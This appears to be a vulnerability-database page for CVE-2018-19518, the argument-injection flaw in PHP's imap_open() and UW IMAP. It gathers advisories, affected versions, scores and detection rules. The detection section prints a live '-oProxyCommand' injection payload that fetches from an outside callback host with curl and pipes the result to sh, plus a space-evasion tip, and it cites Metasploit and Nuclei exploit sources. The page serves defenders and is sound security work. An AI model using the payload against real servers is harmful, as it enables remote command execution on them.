CVE-2018-19518
published 2018-11-25CVE-2018-19518: University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_rimap…
PriorityP187high7.5CVSS 3.1
AVNACHPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEVRansomwareInitial access
Exploited in the wild
EPSS
95.23%
99.9th percentile
University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_rimap function in c-client/imap4r1.c and the tcp_aopen function in osdep/unix/tcp_unix.c) without preventing argument injection, which might allow remote attackers to execute arbitrary OS commands if the IMAP server name is untrusted input (e.g., entered by a user of a web application) and if rsh has been replaced by a program with different argument semantics. For example, if rsh is a link to ssh (as seen on Debian and Ubuntu systems), then the attack can use an IMAP server name containing a "-oProxyCommand" argument.
Affected
13 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | uw-imap | < uw-imap 8:2007f~dfsg-6 (bookworm) | uw-imap 8:2007f~dfsg-6 (bookworm) |
| php | php | 5.6.0 – 5.6.38 | — |
| php | php | 7.0.0 – 7.0.32 | — |
| php | php | 7.1.0 – 7.1.24 | — |
| php | php | 7.2.0 – 7.2.12 | — |
| uw-imap_project | uw-imap | — | — |
| uw-imap_project | uw-imap | >= 0 < 8:2007f~dfsg-6 | 8:2007f~dfsg-6 |
| uw-imap_project | uw-imap | >= 0 < 8:2007f~dfsg-6 | 8:2007f~dfsg-6 |
Detection & IOCsextracted from sources · hover to see the quote
commandx -oProxyCommand=echo {{base64(url_encode('curl {{interactsh-url}}'))}}|base64 -d|sh}
- →Look for IMAP server name fields (e.g., PS_SAV_IMAP_URL, server_url) in POST requests containing '-oProxyCommand' — this is the core injection vector passed to rsh/ssh. ↗
- →Monitor for imap_open() calls in PHP where the mailbox/server parameter is user-controlled and does not include the /norsh flag, as this enables the rsh/ssh ProxyCommand injection path. ↗
- →Detect POST requests to PrestaShop AdminCustomerThreads controller with a PS_SAV_IMAP_URL field value starting with 'x ' followed by '-oProxyCommand'. ↗
- →Detect POST requests to SuiteCRM InboundEmail Save action with a server_url field value starting with 'x ' followed by '-oProxyCommand'. ↗
- →Alert on spawned ssh/rsh child processes from a PHP/web-server process (e.g., apache, nginx, php-fpm) with arguments containing 'ProxyCommand', indicating successful exploitation. ↗
- →In fuzzing/DAST scanning, inject the payload into HTTP query parameters and match for outbound HTTP callbacks (curl User-Agent) to confirm blind RCE via OAST.
- ·The vulnerability is only exploitable on systems where rsh is symlinked or mapped to ssh (common on Debian/Ubuntu), enabling the -oProxyCommand argument injection. Systems where rsh is the traditional rsh binary are not exploitable via this vector. ↗
- ·PHP installations using imap_open() with the /norsh flag are not vulnerable, as the flag prevents the rsh preauthentication path from being invoked. ↗
- ·Red Hat Enterprise Linux 7 and 8 are listed as 'Not affected', so detection rules targeting RHEL 7/8 environments may produce false positives or be irrelevant. ↗
- ·The payload must avoid spaces; the Metasploit module substitutes spaces with $IFS$() to bypass shell argument parsing restrictions. ↗
CVSS provenance
nvdv3.17.5HIGHCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.08.5HIGHAV:N/AC:M/Au:S/C:C/I:C/A:C
osv7.5HIGH
vulncheck7.5HIGH
vendor_debian7.5HIGH
vendor_redhat7.5HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-5qmr-54g6-4256: University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_r
ghsa_unreviewed·2022-05-13
CVE-2018-19518 [HIGH] CWE-88 GHSA-5qmr-54g6-4256: University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_r
University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_rimap function in c-client/imap4r1.c and the tcp_aopen function in osdep/unix/tcp_unix.c) without preventing argument injection, which might allow remote attackers to execute arbitrary OS commands if the IMAP server name is untrusted input (e.g., entered by a user of a web application) and if rsh has been replaced by a program with different argument semantics. For example, if rsh is a link to ssh (as seen on Debian and Ubuntu systems), then the attack can use an IMAP server name containing a "-oProxyCommand" argument.
OSV
CVE-2018-19518: University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_r
osv·2018-11-25·CVSS 7.5
CVE-2018-19518 [HIGH] CVE-2018-19518: University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_r
University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_rimap function in c-client/imap4r1.c and the tcp_aopen function in osdep/unix/tcp_unix.c) without preventing argument injection, which might allow remote attackers to execute arbitrary OS commands if the IMAP server name is untrusted input (e.g., entered by a user of a web application) and if rsh has been replaced by a program with different argument semantics. For example, if rsh is a link to ssh (as seen on Debian and Ubuntu systems), then the attack can use an IMAP server name containing a "-oProxyCommand" argument.
VulnCheck
PHP PHP Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
vulncheck·2018·CVSS 7.5
CVE-2018-19518 [HIGH] PHP PHP Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
PHP PHP Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_rimap function in c-client/imap4r1.c and the tcp_aopen function in osdep/unix/tcp_unix.c) without preventing argument injection, which might allow remote attackers to execute arbitrary OS commands if the IMAP server name is untrusted input (e.g., entered by a user of a web application) and if rsh has been replaced by a program with different argument semantics. For example, if rsh is a link to ssh (as seen on Debian and Ubuntu systems), then the attack can use an IMAP server name containing a "-oProxyCommand" argument.
Affected: PHP PHP
Required Actio
CISA ICS
Festo Didactic SE MES PC
cisa_ics·2026-01-27·CVSS 7.5
[HIGH] Festo Didactic SE MES PC
ICS Advisory
##
Festo Didactic SE MES PC
Release DateJanuary 27, 2026
Alert CodeICSA-26-027-02
Related topics:
Industrial Control System Vulnerabilities, Industrial Control Systems
View CSAF
## Summary
MES PCs shipped with Windows 10 come pre-installed with XAMPP. XAMPP is a bundle of third-party open-source applications including the Apache HTTP Server, the MariaDB database and more. From time to time, vulnerabilities in these applications are discovered. These are fixed in newer versions of XAMPP by updating the bundled applications. MES PCs shipped with Windows 10 include a copy of XAMPP which contains around 140 such vulnerabilities listed in this advisory. They can be fixed by replacing XAMPP with Festo Didactic's Factory Control Panel application.
The
Ubuntu
UW IMAP vulnerability
vendor_ubuntu·2019-10-21
CVE-2018-19518 UW IMAP vulnerability
Title: UW IMAP vulnerability
Summary: UW IMAP could be made to execute programs if it received specially crafted
input.
It was discovered that UW IMAP incorrectly handled inputs. A remote attacker
could possibly use this issue to execute arbitrary OS commands.
Instructions: In general, a standard system update will make all the necessary changes.
Red Hat
php: imap_open() allows running arbitrary shell commands via mailbox parameter
vendor_redhat·2018-11-19·CVSS 7.5
CVE-2018-19518 [HIGH] CWE-78 php: imap_open() allows running arbitrary shell commands via mailbox parameter
php: imap_open() allows running arbitrary shell commands via mailbox parameter
University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_rimap function in c-client/imap4r1.c and the tcp_aopen function in osdep/unix/tcp_unix.c) without preventing argument injection, which might allow remote attackers to execute arbitrary OS commands if the IMAP server name is untrusted input (e.g., entered by a user of a web application) and if rsh has been replaced by a program with different argument semantics. For example, if rsh is a link to ssh (as seen on Debian and Ubuntu systems), then the attack can use an IMAP server name containing a "-oProxyCommand" argument.
Package: php (Red Hat Enterprise Linux 5) - W
Debian
CVE-2018-19518: uw-imap - University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in P...
vendor_debian·2018·CVSS 7.5
CVE-2018-19518 [HIGH] CVE-2018-19518: uw-imap - University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in P...
University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_rimap function in c-client/imap4r1.c and the tcp_aopen function in osdep/unix/tcp_unix.c) without preventing argument injection, which might allow remote attackers to execute arbitrary OS commands if the IMAP server name is untrusted input (e.g., entered by a user of a web application) and if rsh has been replaced by a program with different argument semantics. For example, if rsh is a link to ssh (as seen on Debian and Ubuntu systems), then the attack can use an IMAP server name containing a "-oProxyCommand" argument.
Scope: local
bookworm: resolved (fixed in 8:2007f~dfsg-6)
bullseye: resolved (fixed in 8:2007f~dfsg-6)
No detection rules found.
Exploit-DB
PHP imap_open - Remote Code Execution (Metasploit)
exploitdb·2018-11-29
CVE-2018-19518 PHP imap_open - Remote Code Execution (Metasploit)
PHP imap_open - Remote Code Execution (Metasploit)
---
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule 'php imap_open Remote Code Execution',
'Description' => %q{
The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an
IMAP session. On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary. Ssh's ProxyCommand
option can be passed from imap_open to execute arbitrary commands.
While many custom applications may use imap_open, this exploit works against the following applications:
e107 v2, prestashop, SuiteCRM, as well as Custom, which simply prints the exploit strings for use.
Prestashop exploitation requires the
Nuclei
PHP imap - Remote Command Execution
nuclei·CVSS 7.5
CVE-2018-19518 [HIGH] PHP imap - Remote Command Execution
PHP imap - Remote Command Execution
University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_rimap function in c-client/imap4r1.c and the tcp_aopen function in osdep/unix/tcp_unix.c) without preventing argument injection, which might allow remote attackers to execute arbitrary OS commands if the IMAP server name is untrusted input (e.g., entered by a user of a web application) and if rsh has been replaced by a program with different argument semantics. For example, if rsh is a link to ssh (as seen on Debian and Ubuntu systems), then the attack can use an IMAP server name containing a "-oProxyCommand" argument.
Template:
id: CVE-2018-19518
info:
name: PHP imap - Remote Command Execution
author: p
Metasploit
php imap_open Remote Code Execution
metasploit
php imap_open Remote Code Execution
php imap_open Remote Code Execution
The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an IMAP session. On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary. Ssh's ProxyCommand option can be passed from imap_open to execute arbitrary commands. While many custom applications may use imap_open, this exploit works against the following applications: e107 v2, prestashop, SuiteCRM, as well as Custom, which simply prints the exploit strings for use. Prestashop exploitation requires the admin URI, and administrator credentials. suiteCRM/e107 require administrator credentials. Fixed in php 5.6.39.
Bugzilla
CVE-2018-19518 php: imap_open() allows running arbitrary shell commands via mailbox parameter
bugzilla·2018-11-28·CVSS 7.5
CVE-2018-19518 [HIGH] CVE-2018-19518 php: imap_open() allows running arbitrary shell commands via mailbox parameter
CVE-2018-19518 php: imap_open() allows running arbitrary shell commands via mailbox parameter
IMAP Toolkit 2007f, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_rimap function in c-client/imap4r1.c and the tcp_aopen function in osdep/unix/tcp_unix.c) without preventing argument injection, which might allow remote attackers to execute arbitrary OS commands if the IMAP server name is untrusted input (e.g., entered by a user of a web application) and if rsh has been replaced by a program with different argument semantics. For example, if rsh is a link to ssh (as seen on Debian and Ubuntu systems), then the attack can use an IMAP server name containing a "-oProxyCommand" argument.
References:
https://www.openwall.com/lists/oss-security/2018/1
Bugzilla
CVE-2018-19518 php: imap_open() allows running arbitrary shell commands via mailbox parameter [fedora-all]
bugzilla·2018-11-28·CVSS 7.5
CVE-2018-19518 [HIGH] CVE-2018-19518 php: imap_open() allows running arbitrary shell commands via mailbox parameter [fedora-all]
CVE-2018-19518 php: imap_open() allows running arbitrary shell commands via mailbox parameter [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affect
http://www.securityfocus.com/bid/106018http://www.securitytracker.com/id/1042157https://antichat.com/threads/463395/#post-4254681https://bugs.debian.org/913775https://bugs.debian.org/913835https://bugs.debian.org/913836https://bugs.php.net/bug.php?id=76428https://bugs.php.net/bug.php?id=77153https://bugs.php.net/bug.php?id=77160https://git.php.net/?p=php-src.git%3Ba=commit%3Bh=e5bfea64c81ae34816479bb05d17cdffe45adddbhttps://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.phphttps://lists.debian.org/debian-lts-announce/2018/12/msg00006.htmlhttps://lists.debian.org/debian-lts-announce/2019/03/msg00001.htmlhttps://lists.debian.org/debian-lts-announce/2021/12/msg00031.htmlhttps://security.gentoo.org/glsa/202003-57https://security.netapp.com/advisory/ntap-20181221-0004/https://usn.ubuntu.com/4160-1/https://www.debian.org/security/2018/dsa-4353https://www.exploit-db.com/exploits/45914/https://www.openwall.com/lists/oss-security/2018/11/22/3http://www.securityfocus.com/bid/106018http://www.securitytracker.com/id/1042157https://antichat.com/threads/463395/#post-4254681https://bugs.debian.org/913775https://bugs.debian.org/913835https://bugs.debian.org/913836https://bugs.php.net/bug.php?id=76428https://bugs.php.net/bug.php?id=77153https://bugs.php.net/bug.php?id=77160https://git.php.net/?p=php-src.git%3Ba=commit%3Bh=e5bfea64c81ae34816479bb05d17cdffe45adddbhttps://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.phphttps://lists.debian.org/debian-lts-announce/2018/12/msg00006.htmlhttps://lists.debian.org/debian-lts-announce/2019/03/msg00001.htmlhttps://lists.debian.org/debian-lts-announce/2021/12/msg00031.htmlhttps://security.gentoo.org/glsa/202003-57https://security.netapp.com/advisory/ntap-20181221-0004/https://usn.ubuntu.com/4160-1/https://www.debian.org/security/2018/dsa-4353https://www.exploit-db.com/exploits/45914/https://www.openwall.com/lists/oss-security/2018/11/22/3
2018-11-25
Published
Exploited in the wild